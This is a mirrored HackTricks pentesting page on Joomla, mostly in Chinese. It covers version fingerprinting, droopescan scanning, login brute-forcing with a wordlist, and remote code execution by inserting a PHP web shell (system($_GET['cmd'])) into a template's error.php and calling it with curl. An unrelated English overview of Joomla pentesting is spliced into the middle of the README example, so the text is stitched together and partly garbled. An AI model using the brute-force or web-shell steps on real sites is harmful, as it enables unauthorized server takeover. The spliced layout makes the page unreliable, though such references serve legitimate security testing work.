mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
139 lines
5.4 KiB
Markdown
139 lines
5.4 KiB
Markdown
# Joomla
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗？想要在HackTricks中看到您的**公司广告**？或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
### Joomla统计信息
|
||
|
||
Joomla收集一些匿名的[使用统计信息](https://developer.joomla.org/about/stats.html)，例如Joomla、PHP和数据库版本的分布以及Joomla安装中使用的服务器操作系统。这些数据可以通过他们的公共[API](https://developer.joomla.org/about/stats/api.html)查询。
|
||
```bash
|
||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||
|
||
{
|
||
"data": {
|
||
"cms_version": {
|
||
"3.0": 0,
|
||
"3.1": 0,
|
||
"3.10": 6.33,
|
||
"3.2": 0.01,
|
||
"3.3": 0.02,
|
||
"3.4": 0.05,
|
||
"3.5": 12.24,
|
||
"3.6": 22.85,
|
||
"3.7": 7.99,
|
||
"3.8": 17.72,
|
||
"3.9": 27.24,
|
||
"4.0": 3.21,
|
||
"4.1": 1.53,
|
||
"4.2": 0.82,
|
||
"4.3": 0,
|
||
"5.0": 0
|
||
},
|
||
"total": 2951032
|
||
}
|
||
}
|
||
```
|
||
## 枚举
|
||
|
||
### 发现/足迹
|
||
|
||
* 检查 **meta**
|
||
```bash
|
||
curl https://www.joomla.org/ | grep Joomla | grep generator
|
||
|
||
<meta name="generator" content="Joomla! - Open Source Content Management" />
|
||
```
|
||
* robots.txt
|
||
```
|
||
# If the Joomla site is installed within a folder
|
||
# eg www.example.com/joomla/ then the robots.txt file
|
||
# MUST be moved to the site root
|
||
# eg www.example.com/robots.txt
|
||
# AND the joomla folder name MUST be prefixed to all of the
|
||
# paths.
|
||
[...]
|
||
```
|
||
* README.txt
|
||
|
||
## Joomla
|
||
|
||
### Introduction
|
||
|
||
Joomla is a popular open-source content management system (CMS) written in PHP. It is used to build and manage websites of all sizes and types.
|
||
|
||
### Pentesting Joomla
|
||
|
||
When pentesting Joomla websites, some common vulnerabilities to look for include:
|
||
|
||
1. Outdated Joomla versions
|
||
2. Vulnerable extensions
|
||
3. Weak administrator passwords
|
||
4. SQL injection
|
||
5. Cross-site scripting (XSS)
|
||
6. File inclusion vulnerabilities
|
||
|
||
### Tools for Pentesting Joomla
|
||
|
||
Some tools that can be used for pentesting Joomla websites include:
|
||
|
||
- **JoomScan**: A tool specifically designed for Joomla pentesting.
|
||
- **OWASP Joomla Vulnerability Scanner**: Helps in identifying security issues in Joomla websites.
|
||
- **SQLMap**: Useful for detecting and exploiting SQL injection vulnerabilities.
|
||
- **Burp Suite**: Helps in intercepting and modifying web traffic to test for vulnerabilities.
|
||
|
||
### Best Practices for Securing Joomla
|
||
|
||
To secure Joomla websites, consider implementing the following best practices:
|
||
|
||
1. Keep Joomla and its extensions up to date.
|
||
2. Use strong and unique passwords for administrators.
|
||
3. Regularly backup website data.
|
||
4. Implement proper file permissions.
|
||
5. Disable unnecessary services and components.
|
||
6. Use HTTPS to encrypt data transmission.
|
||
|
||
By following these best practices and conducting regular security assessments, you can help protect Joomla websites from potential attacks.
|
||
```
|
||
1- What is this?
|
||
* This is a Joomla! installation/upgrade package to version 3.x
|
||
* Joomla! Official site: https://www.joomla.org
|
||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
||
```
|
||
### 版本
|
||
|
||
* 在 **/administrator/manifests/files/joomla.xml** 中可以看到版本。
|
||
* 在 **/language/en-GB/en-GB.xml** 中可以获取 Joomla 的版本。
|
||
* 在 **plugins/system/cache/cache.xml** 中可以看到一个大致的版本。
|
||
```bash
|
||
droopescan scan joomla --url http://joomla-site.local/
|
||
```
|
||
### Brute-Force
|
||
|
||
您可以使用此[脚本](https://github.com/ajnik/joomla-bruteforce)尝试对登录进行暴力破解。
|
||
```shell-session
|
||
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
||
|
||
admin:admin
|
||
```
|
||
## RCE
|
||
|
||
如果你成功获取了**管理员凭证**，你可以通过添加一小段**PHP代码**来实现**RCE**。我们可以通过**自定义**一个**模板**来实现这一点。
|
||
|
||
1. 在`Configuration`下方点击**`Templates`**以打开模板菜单。
|
||
2. 点击一个**模板**名称。让我们选择`Template`列标题下的**`protostar`**。这将带我们到**`Templates: Customise`**页面。
|
||
3. 最后，你可以点击一个页面以查看**页面源代码**。让我们选择**`error.php`**页面。我们将添加一个**PHP 一行代码来执行代码**，如下所示：
|
||
```php
|
||
system($_GET['cmd']);
|
||
```
|
||
4. **保存并关闭**
|
||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|